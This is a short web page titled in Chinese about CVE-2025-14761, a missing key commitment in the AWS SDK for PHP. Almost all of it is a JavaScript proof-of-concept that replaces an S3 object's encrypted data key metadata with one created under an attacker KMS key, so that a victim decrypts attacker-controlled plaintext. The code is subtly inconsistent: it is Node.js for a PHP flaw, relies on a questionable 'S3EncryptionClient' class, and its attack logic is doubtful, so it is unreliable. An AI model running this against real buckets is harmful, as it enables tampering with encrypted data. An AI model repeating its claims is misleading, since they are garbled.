CVE-2025-14761 AWS SDK for PHP加密密钥承诺缺失漏洞

// CVE-2025-14761 PoC - AWS SDK for PHP Key Commitment Missing // This PoC demonstrates the key commitment vulnerability // Vulnerable scenario: Attacker with S3 write access can replace instruction file const AWS = require('aws-sdk'); // Configuration for vulnerable SDK version (< 3.368.0) const s3 = new AWS.S3({ region: 'us-east-1', accessKeyId: 'ATTACKER_ACCESS_KEY', secretAccessKey: 'ATTACKER_SECRET_KEY' }); // Step 1: Attacker identifies target S3 object with encryption async function identifyTarget() { const params = { Bucket: 'target-bucket', Key: 'sensitive-data.enc' }; // Get object metadata - instruction file stored separately const objectData = await s3.getObject(params).promise(); console.log('Original instruction file:', objectData.Metadata['x-amz-key']); return params; } // Step 2: Generate malicious EDK with different KMS key async function generateMaliciousEDK() { const kms = new AWS.KMS({ region: 'us-east-1', accessKeyId: 'ATTACKER_ACCESS_KEY', secretAccessKey: 'ATTACKER_SECRET_KEY' }); // Use attacker's KMS key instead of victim's key const result = await kms.generateDataKey({ KeyId: 'arn:aws:kms:us-east-1:ATTACKER_ACCOUNT:key/MALICIOUS-KEY-ID', KeySpec: 'AES_256' }).promise(); return result.CiphertextBlob.toString('base64'); } // Step 3: Replace instruction file with malicious EDK async function replaceInstructionFile(targetParams, maliciousEDK) { const copyParams = { Bucket: targetParams.Bucket, Key: targetParams.Key, CopySource: `${targetParams.Bucket}/${targetParams.Key}`, Metadata: { 'x-amz-key': maliciousEDK, 'x-amz-cek-alg': 'AES/GCM/NoPadding' }, MetadataDirective: 'REPLACE' }; await s3.copyObject(copyParams).promise(); console.log('Instruction file replaced with malicious EDK'); } // Step 4: Victim decrypts and gets attacker-controlled plaintext async function victimDecrypts() { // Victim uses vulnerable SDK version const s3Client = new AWS.S3EncryptionClient({ region: 'us-east-1' }); // This will decrypt to attacker's plaintext instead of original const decrypted = await s3Client.getObject({ Bucket: 'target-bucket', Key: 'sensitive-data.enc' }).promise(); console.log('Decrypted data (attacker-controlled):', decrypted.Body.toString()); } // Execute attack (async () => { const target = await identifyTarget(); const maliciousEDK = await generateMaliciousEDK(); await replaceInstructionFile(target, maliciousEDK); console.log('Attack completed - victim will decrypt to different plaintext'); })();